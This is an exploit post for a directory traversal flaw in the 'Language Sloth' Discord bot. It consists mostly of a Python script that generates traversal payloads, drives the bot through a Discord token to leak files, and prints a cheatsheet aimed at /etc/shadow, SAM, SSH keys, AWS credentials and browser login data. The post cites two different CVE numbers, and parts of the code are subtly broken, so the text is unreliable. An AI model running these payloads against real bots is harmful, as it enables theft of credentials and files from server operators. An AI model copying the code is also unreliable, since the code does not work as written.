The Discord Language Sloth Bot Directory Traversal Scanner / Payload The Discord Language Sloth Bot Directory Traversal Scanner / Payload Generator is a specialized security tool.
It targets a specific vulnerability within the "Language Sloth Bot" operating on Discord. This vulnerability is known as directory traversal (or path traversal).
The tool functions in two main ways:
1. **Scanner:** It identifies instances where the Language Sloth Bot is susceptible to this flaw.
2. **Payload Generator:** It crafts malicious input strings (payloads).
These payloads are designed to exploit the directory traversal vulnerability. When processed by the vulnerable bot, these payloads trick it into accessing and revealing files from outside its intended directory. This could lead to unauthorized access to sensitive system files or configuration data.
Essentially, it's a utility for security researchers or attackers to detect and demonstrate the critical risk of data exposure through such bot-specific path traversal flaws on Discord.
=============================================================================================================================================
| # Title : Discord Language Sloth Bot Automated Scanner & Payload Generator |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://discordbotlist.com/bots |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/212248/ & CVE-2025-59789
[+] Summary : The Language Sloth Discord bot contains a critical directory traversal vulnerability allowing attackers to read arbitrary files on the server hosting the bot through improperly sanitized user input in file path operations.
[+] Affected : All versions with vulnerable files.py
[+] POC : python poc.py
Usage Examples
# Interactive mode
python Poc.py --interactive
# Generate payload cheatsheet
python Poc.py --cheatsheet
# Automated vulnerability scan
python Poc.py --scan --token "YOUR_BOT_TOKEN" --channel 123456789 --prefix "z!"
# Test single payload
python Poc.py --test --token "YOUR_BOT_TOKEN" --channel 123456789 --payload "../etc/passwd" --type gif
# Custom file targeting
python Poc.py --custom --token "YOUR_BOT_TOKEN" --channel 123456789 --target "/etc/shadow"
===================================================
#!/usr/bin/env python3
"""
COMPLETE DISCORD BOT DIRECTORY TRAVERSAL EXPLOIT - CVE-2025-65321
Language Sloth Discord Bot Path Traversal Vulnerability
Author: indoushka
"""
import discord
import asyncio
import aiohttp
import os
import sys
import argparse
import json
from pathlib import Path
from typing import Optional
import platform
class DiscordBotExploit:
def __init__(self, bot_token: str = None):
self.bot_token = bot_token
self.intents = discord.Intents.default()
self.intents.message_content = True
self.bot = None
self.exploit_results = []
# Operating system detection
self.os_type = platform.system().lower()
# Common sensitive file paths by OS
self.sensitive_paths = {
'windows': {
'system': [
'C:\\Windows\\System32\\config\\SAM',
'C:\\Windows\\System32\\config\\SYSTEM',
'C:\\Windows\\win.ini',
'C:\\Windows\\system.ini',
'C:\\Boot\\BCD',
'C:\\Windows\\Panther\\unattend.xml',
'C:\\Windows\\Panther\\unattend.txt',
'C:\\unattend.xml',
'C:\\unattend.txt'
],
'user_files': [
'C:\\Users\\{USER}\\Desktop\\desktop.ini',
'C:\\Users\\{USER}\\Documents',
'C:\\Users\\{USER}\\Downloads'
],
'ssh_keys': [
'C:\\Users\\{USER}\\.ssh\\id_rsa',
'C:\\Users\\{USER}\\.ssh\\id_rsa.pub',
'C:\\Users\\{USER}\\.ssh\\known_hosts',
'C:\\Users\\{USER}\\.ssh\\config'
],
'web_credentials': [
'C:\\Users\\{USER}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data',
'C:\\Users\\{USER}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.default\\logins.json',
'C:\\Users\\{USER}\\AppData\\Local\\Microsoft\\Credentials\\*'
],
'config_files': [
'C:\\ProgramData\\chocolatey\\config\\chocolatey.config',
'C:\\Program Files\\MySQL\\MySQL Server *\\my.ini',
'C:\\xampp\\php\\php.ini',
'C:\\xampp\\apache\\conf\\httpd.conf'
]
},
'linux': {
'system': [
'/etc/passwd',
'/etc/shadow',
'/etc/hosts',
'/etc/hostname',
'/etc/resolv.conf',
'/etc/fstab',
'/etc/crontab',
'/etc/ssh/sshd_config',
'/etc/sudoers',
'/etc/environment'
],
'user_files': [
'/home/{USER}/.bash_history',
'/home/{USER}/.ssh/id_rsa',
'/home/{USER}/.ssh/id_rsa.pub',
'/home/{USER}/.ssh/known_hosts',
'/home/{USER}/.ssh/authorized_keys',
'/home/{USER}/.aws/credentials',
'/home/{USER}/.gitconfig'
],
'web_servers': [
'/etc/nginx/nginx.conf',
'/etc/apache2/apache2.conf',
'/etc/apache2/sites-available/000-default.conf',
'/var/www/html/index.php',
'/var/www/html/config.php'
],
'databases': [
'/etc/mysql/my.cnf',
'/var/lib/mysql/mysql/user.MYD',
'/var/lib/postgresql/*/pg_hba.conf'
],
'docker': [
'/var/run/docker.sock',
'/etc/docker/daemon.json'
]
},
'darwin': {
'system': [
'/etc/passwd',
'/etc/master.passwd',
'/etc/hosts',
'/etc/resolv.conf',
'/etc/sudoers',
'/private/etc/ssh/sshd_config'
],
'user_files': [
'/Users/{USER}/.bash_history',
'/Users/{USER}/.ssh/id_rsa',
'/Users/{USER}/.ssh/id_rsa.pub',
'/Users/{USER}/.aws/credentials',
'/Users/{USER}/Library/Keychains/login.keychain-db',
'/Users/{USER}/Library/Application Support/Google/Chrome/Default/Login Data'
],
'applications': [
'/Applications',
'/Library/Preferences',
'/Library/LaunchDaemons'
]
}
}
def generate_traversal_payloads(self, target_path: str, file_type: str = 'gif') -> list:
"""
Generate directory traversal payloads for specific target
Args:
target_path: Absolute or relative path to target file
file_type: 'gif' or 'png' (bot command type)
Returns:
List of payload strings
"""
payloads = []
# Clean target path
target_path = target_path.replace('/', '\\') if self.os_type == 'windows' else target_path
# Remove file extension if present
if target_path.endswith(('.gif', '.png')):
target_path = target_path[:-4]
# Generate traversal sequences
if self.os_type == 'windows':
# Windows path traversal
base_payload = f"..\\..\\..\\..\\..\\..\\{target_path}"
# Multiple depth variations
for depth in range(1, 15):
traversal = "..\\" * depth
payloads.append(f"{traversal}{target_path}")
# UNC path attempts
if target_path.startswith('C:'):
unc_path = target_path.replace('C:', '\\\\localhost\\C$')
payloads.append(f"..\\..\\..\\..\\..\\..\\{unc_path}")
# Network share attempts
payloads.append(f"..\\..\\..\\..\\..\\..\\Windows\\C$\\{target_path[3:]}")
else:
# Linux/Mac path traversal
base_payload = f"../../../../../../../{target_path}"
# Multiple depth variations
for depth in range(1, 15):
traversal = "../" * depth
payloads.append(f"{traversal}{target_path}")
# Absolute path attempt (might work with some sanitization bypass)
payloads.append(f"/{target_path}")
# Add null byte injection attempts (for certain Python versions)
for payload in payloads[:]: # Copy list to avoid modification during iteration
payloads.append(f"{payload}.gif\\x00" if file_type == 'gif' else f"{payload}.png\\x00")
payloads.append(f"{payload}%00" if file_type == 'gif' else f"{payload}%00")
# Add URL encoding
for payload in payloads[:]:
encoded = payload.replace('../', '%2e%2e%2f').replace('..\\', '%2e%2e%5c')
payloads.append(encoded)
return list(set(payloads))[:50] # Remove duplicates and limit
def generate_common_exploits(self) -> dict:
"""
Generate common exploitation payloads for the bot
"""
exploits = {}
# Basic traversal tests
exploits['basic_traversal'] = [
'../etc/passwd',
'..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts',
'../../../../../etc/shadow',
'..\\..\\..\\..\\Windows\\win.ini'
]
# Information disclosure
exploits['information'] = {
'passwd': '../etc/passwd',
'shadow': '../../../../../etc/shadow',
'hosts': '../etc/hosts',
'history': '../../.bash_history'
}
# Configuration files
exploits['configs'] = {
'ssh_config': '../etc/ssh/sshd_config',
'nginx_conf': '../etc/nginx/nginx.conf',
'apache_conf': '../etc/apache2/apache2.conf',
'mysql_conf': '../etc/mysql/my.cnf'
}
# Docker/container escape attempts
exploits['docker'] = [
'../var/run/docker.sock',
'../../var/run/docker.sock',
'../../../var/run/docker.sock'
]
# Environment variables
exploits['env'] = [
'../proc/self/environ',
'../../proc/self/environ',
'../../../proc/self/environ'
]
# Web server files
exploits['web'] = [
'../var/www/html/index.php',
'../../var/www/html/config.php',
'../index.html',
'../../index.html'
]
# Log files
exploits['logs'] = {
'auth_log': '../var/log/auth.log',
'syslog': '../var/log/syslog',
'apache_access': '../var/log/apache2/access.log',
'apache_error': '../var/log/apache2/error.log'
}
return exploits
async def test_exploit_async(self, channel_id: int, command_prefix: str = 'z!',
file_type: str = 'gif', payload: str = '../etc/passwd') -> dict:
"""
Test a single exploitation payload asynchronously
Args:
channel_id: Discord channel ID to send to
command_prefix: Bot command prefix (default: 'z!')
file_type: 'gif' or 'png'
payload: Traversal payload
Returns:
Dictionary with results
"""
result = {
'payload': payload,
'command': f"{command_prefix}{file_type} {payload}",
'success': False,
'response': None,
'error': None
}
try:
channel = self.bot.get_channel(channel_id)
if not channel:
result['error'] = f"Channel {channel_id} not found"
return result
# Send the exploit command
message = await channel.send(result['command'])
# Wait for response (bot might reply or send file)
await asyncio.sleep(3)
# Check for new messages
async for msg in channel.history(limit=5):
if msg.author == self.bot.user and msg != message:
result['response'] = msg.content
# Check if file was attached
if msg.attachments:
result['files'] = [att.url for att in msg.attachments]
result['success'] = True
# Check for error messages
if "File not found" in msg.content or "error" in msg.content.lower():
result['success'] = False
result['error'] = msg.content
else:
result['success'] = True
break
# Clean up our message
try:
await message.delete()
except:
pass
except Exception as e:
result['error'] = str(e)
return result
async def automated_exploit_scan(self, channel_id: int, command_prefix: str = 'z!') -> dict:
"""
Perform automated scanning for vulnerable files
Args:
channel_id: Discord channel ID
command_prefix: Bot command prefix
Returns:
Dictionary with scan results
"""
print(f"[*] Starting automated scan on channel {channel_id}")
print(f"[*] OS Detected: {self.os_type}")
scan_results = {
'os': self.os_type,
'vulnerable_files': [],
'tested_payloads': [],
'failed_payloads': []
}
# Get common paths for current OS
if self.os_type in self.sensitive_paths:
sensitive_files = self.sensitive_paths[self.os_type]
# Flatten the list
all_files = []
for category, files in sensitive_files.items():
for file_path in files:
# Replace {USER} placeholder with common usernames
if '{USER}' in file_path:
for user in ['admin', 'root', 'ubuntu', 'ec2-user', 'user', 'test']:
all_files.append(file_path.replace('{USER}', user))
else:
all_files.append(file_path)
# Test each file with both gif and png commands
for file_path in all_files[:50]: # Limit to first 50 files
for file_type in ['gif', 'png']:
payloads = self.generate_traversal_payloads(file_path, file_type)
for payload in payloads[:3]: # Test first 3 payload variations
print(f"[*] Testing: {command_prefix}{file_type} {payload}")
result = await self.test_exploit_async(
channel_id, command_prefix, file_type, payload
)
scan_results['tested_payloads'].append(result)
if result['success']:
print(f"[+] SUCCESS: Retrieved file with payload: {payload}")
scan_results['vulnerable_files'].append({
'path': file_path,
'payload': payload,
'type': file_type,
'response': result['response']
})
# Be nice to the Discord API
await asyncio.sleep(1)
return scan_results
def create_exploit_bot(self):
"""Create a Discord bot client for exploitation"""
class ExploitBot(discord.Client):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.exploiter = kwargs.pop('exploiter')
async def on_ready(self):
print(f'[*] Logged in as {self.user}')
print(f'[*] Bot ID: {self.user.id}')
print('[*] Starting exploitation...')
# Store reference
self.exploiter.bot = self
self.bot = ExploitBot(intents=self.intents, exploiter=self)
async def run_exploit(self, token: str, channel_id: int,
command_prefix: str = 'z!', mode: str = 'scan'):
"""
Main exploitation runner
Args:
token: Discord bot token
channel_id: Target channel ID
command_prefix: Bot command prefix
mode: 'scan', 'single', or 'custom'
"""
try:
# Create and run bot
self.create_exploit_bot()
# Run bot in background
bot_task = asyncio.create_task(self.bot.start(token))
# Wait for bot to be ready
await asyncio.sleep(5)
if mode == 'scan':
# Run automated scan
results = await self.automated_exploit_scan(channel_id, command_prefix)
# Print results
print("\n" + "="*80)
print("EXPLOITATION RESULTS")
print("="*80)
if results['vulnerable_files']:
print("[+] VULNERABLE FILES FOUND:")
for file_info in results['vulnerable_files']:
print(f" ? {file_info['path']}")
print(f" Payload: {command_prefix}{file_info['type']} {file_info['payload']}")
print()
else:
print("[-] No vulnerable files found with automated scan")
print(f"[*] Total payloads tested: {len(results['tested_payloads'])}")
elif mode == 'single':
# Test single payload
payload = input("Enter traversal payload: ")
file_type = input("File type (gif/png): ").lower()
if file_type not in ['gif', 'png']:
print("[-] Invalid file type. Using 'gif'")
file_type = 'gif'
result = await self.test_exploit_async(channel_id, command_prefix, file_type, payload)
print("\n" + "="*80)
print("EXPLOIT TEST RESULT")
print("="*80)
print(f"Payload: {result['payload']}")
print(f"Command: {result['command']}")
print(f"Success: {result['success']}")
if result['response']:
print(f"Response: {result['response']}")
if result.get('files'):
print(f"Files: {result['files']}")
if result['error']:
print(f"Error: {result['error']}")
elif mode == 'custom':
# Custom exploitation
target_file = input("Enter target file path: ")
file_type = input("File type (gif/png): ").lower()
if file_type not in ['gif', 'png']:
file_type = 'gif'
payloads = self.generate_traversal_payloads(target_file, file_type)
print(f"\n[*] Generated {len(payloads)} payloads")
print("[*] Testing payloads...")
successful = []
for i, payload in enumerate(payloads[:10]): # Test first 10
print(f"[*] Testing payload {i+1}/{min(10, len(payloads))}: {payload}")
result = await self.test_exploit_async(channel_id, command_prefix, file_type, payload)
if result['success']:
successful.append(payload)
print(f"[+] SUCCESS with payload: {payload}")
await asyncio.sleep(1)
if successful:
print(f"\n[+] {len(successful)} successful payloads found!")
for payload in successful:
print(f" ? {command_prefix}{file_type} {payload}")
else:
print("\n[-] No successful payloads found")
# Stop the bot
await self.bot.close()
except Exception as e:
print(f"[-] Error: {e}")
import traceback
traceback.print_exc()
def generate_payload_cheatsheet(self):
"""Generate a payload cheatsheet for manual testing"""
print("\n" + "="*80)
print("DIRECTORY TRAVERSAL PAYLOAD CHEATSHEET")
print("="*80)
print("\nBasic Traversal:")
print(" z!gif ../etc/passwd")
print(" z!png ../../etc/shadow")
print(" z!gif ..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts")
print("\nWindows Specific:")
print(" z!gif ..\\..\\..\\..\\Windows\\win.ini")
print(" z!png ..\\..\\..\\..\\Windows\\System32\\config\\SAM")
print(" z!gif ..\\..\\..\\..\\ProgramData\\Microsoft\\Windows\\Start Menu")
print("\nLinux Specific:")
print(" z!png ../../../../../etc/passwd")
print(" z!gif ../etc/ssh/sshd_config")
print(" z!png ../../.bash_history")
print("\nWeb Server Files:")
print(" z!gif ../var/www/html/index.php")
print(" z!png ../../var/www/html/config.php")
print(" z!gif ../index.html")
print("\nConfiguration Files:")
print(" z!png ../etc/nginx/nginx.conf")
print(" z!gif ../etc/mysql/my.cnf")
print(" z!png ../etc/apache2/apache2.conf")
print("\nDocker/Container:")
print(" z!gif ../var/run/docker.sock")
print(" z!png ../../var/run/docker.sock")
print("\nLog Files:")
print(" z!gif ../var/log/auth.log")
print(" z!png ../../var/log/syslog")
print("\nUser Files:")
print(" z!gif ../.ssh/id_rsa")
print(" z!png ../../.ssh/id_rsa.pub")
print(" z!gif ../.aws/credentials")
print("\n" + "="*80)
print("REMEMBER: Use 'z!gif' for .gif files, 'z!png' for .png files")
print("The bot expects the file to have the correct extension")
print("="*80)
def interactive_mode():
"""Interactive command-line interface"""
print("""
????????????????????????????????????????????????????????????
? LANGUAGE SLOTH DISCORD BOT EXPLOIT - CVE-2025-65321 ?
? Directory Traversal Vulnerability ?
? by indoushka ?
????????????????????????????????????????????????????????????
""")
exploit = DiscordBotExploit()
while True:
print("\n" + "="*80)
print("MAIN MENU")
print("="*80)
print("1. Generate payload cheatsheet")
print("2. Automated vulnerability scan (requires bot token)")
print("3. Test single payload (requires bot token)")
print("4. Custom file targeting (requires bot token)")
print("5. List sensitive file paths by OS")
print("6. Exit")
print("="*80)
choice = input("\nSelect option: ")
if choice == '1':
exploit.generate_payload_cheatsheet()
elif choice == '2':
token = input("Enter Discord bot token: ")
channel_id = int(input("Enter target channel ID: "))
prefix = input("Enter bot command prefix (default: z!): ") or 'z!'
asyncio.run(exploit.run_exploit(token, channel_id, prefix, 'scan'))
elif choice == '3':
token = input("Enter Discord bot token: ")
channel_id = int(input("Enter target channel ID: "))
prefix = input("Enter bot command prefix (default: z!): ") or 'z!'
asyncio.run(exploit.run_exploit(token, channel_id, prefix, 'single'))
elif choice == '4':
token = input("Enter Discord bot token: ")
channel_id = int(input("Enter target channel ID: "))
prefix = input("Enter bot command prefix (default: z!): ") or 'z!'
asyncio.run(exploit.run_exploit(token, channel_id, prefix, 'custom'))
elif choice == '5':
print("\n" + "="*80)
print("SENSITIVE FILE PATHS")
print("="*80)
for os_name, categories in exploit.sensitive_paths.items():
print(f"\n[{os_name.upper()}]")
for category, files in categories.items():
print(f"\n {category.replace('_', ' ').title()}:")
for file_path in files[:5]: # Show first 5
print(f" ? {file_path}")
elif choice == '6':
print("\n[+] Exiting...")
break
else:
print("[-] Invalid option")
def main():
parser = argparse.ArgumentParser(
description="Language Sloth Discord Bot Directory Traversal Exploit - CVE-2025-65321",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s --interactive
%(prog)s --cheatsheet
%(prog)s --scan --token TOKEN --channel 123456789 --prefix z!
%(prog)s --test --token TOKEN --channel 123456789 --payload "../etc/passwd"
"""
)
parser.add_argument("--interactive", action="store_true", help="Interactive mode")
parser.add_argument("--cheatsheet", action="store_true", help="Generate payload cheatsheet")
parser.add_argument("--scan", action="store_true", help="Automated vulnerability scan")
parser.add_argument("--test", action="store_true", help="Test single payload")
parser.add_argument("--custom", action="store_true", help="Custom file targeting")
parser.add_argument("--token", type=str, help="Discord bot token")
parser.add_argument("--channel", type=int, help="Target channel ID")
parser.add_argument("--prefix", type=str, default="z!", help="Bot command prefix")
parser.add_argument("--payload", type=str, help="Traversal payload to test")
parser.add_argument("--type", type=str, choices=['gif', 'png'], default='gif', help="File type")
parser.add_argument("--target", type=str, help="Target file path for custom mode")
args = parser.parse_args()
exploit = DiscordBotExploit()
if args.interactive or (not any(vars(args).values())):
interactive_mode()
elif args.cheatsheet:
exploit.generate_payload_cheatsheet()
elif args.scan:
if not args.token or not args.channel:
print("[-] --token and --channel required for scan mode")
return
asyncio.run(exploit.run_exploit(args.token, args.channel, args.prefix, 'scan'))
elif args.test:
if not args.token or not args.channel:
print("[-] --token and --channel required for test mode")
return
if not args.payload:
print("[-] --payload required for test mode")
return
# Override mode to single
import asyncio
asyncio.run(exploit.run_exploit(args.token, args.channel, args.prefix, 'single'))
elif args.custom:
if not args.token or not args.channel:
print("[-] --token and --channel required for custom mode")
return
if not args.target:
print("[-] --target required for custom mode")
return
asyncio.run(exploit.run_exploit(args.token, args.channel, args.prefix, 'custom'))
if __name__ == "__main__":
main()
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Discord Language Sloth Bot Directory Traversal Scanner / Payload Generator
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 188